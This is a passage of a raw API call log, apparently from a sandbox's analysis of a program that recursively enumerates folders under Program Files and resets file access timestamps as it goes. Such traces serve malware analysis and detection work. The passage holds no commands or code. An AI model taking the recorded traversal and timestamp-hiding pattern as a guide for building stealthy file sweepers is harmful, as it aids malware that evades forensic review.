ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0086.838] GetLastError () returned 0x12 [0086.838] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0086.838] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0086.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0086.839] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0086.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.839] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0086.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.840] NtClose (Handle=0x124) returned 0x0 [0086.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0086.841] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0086.841] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.841] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0086.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.842] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0086.842] GetLastError () returned 0x12 [0086.842] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0086.842] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0086.842] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.843] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0086.843] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0086.843] GetLastError () returned 0x12 [0086.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0086.843] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.843] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0086.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.881] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0086.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.882] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0086.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.883] NtClose (Handle=0x16c) returned 0x0 [0086.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0086.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0086.884] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0086.929] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0086.930] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0086.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb468 [0086.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ea000 [0086.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60ce1c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxT", cAlternateFileName="")) returned 1 [0086.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb488 [0086.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ea108 [0086.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.935] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x6cee, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxRuntime.HxS", cAlternateFileName="")) returned 1 [0086.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb4a8 [0086.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ea210 [0086.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.937] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keywords.HxK", cAlternateFileName="")) returned 1 [0086.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb4c8 [0086.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13026b0 [0086.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.940] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="")) returned 1 [0086.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb4e8 [0086.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13027b8 [0086.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="")) returned 0 [0086.942] GetLastError () returned 0x12 [0086.942] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0086.942] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.942] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) 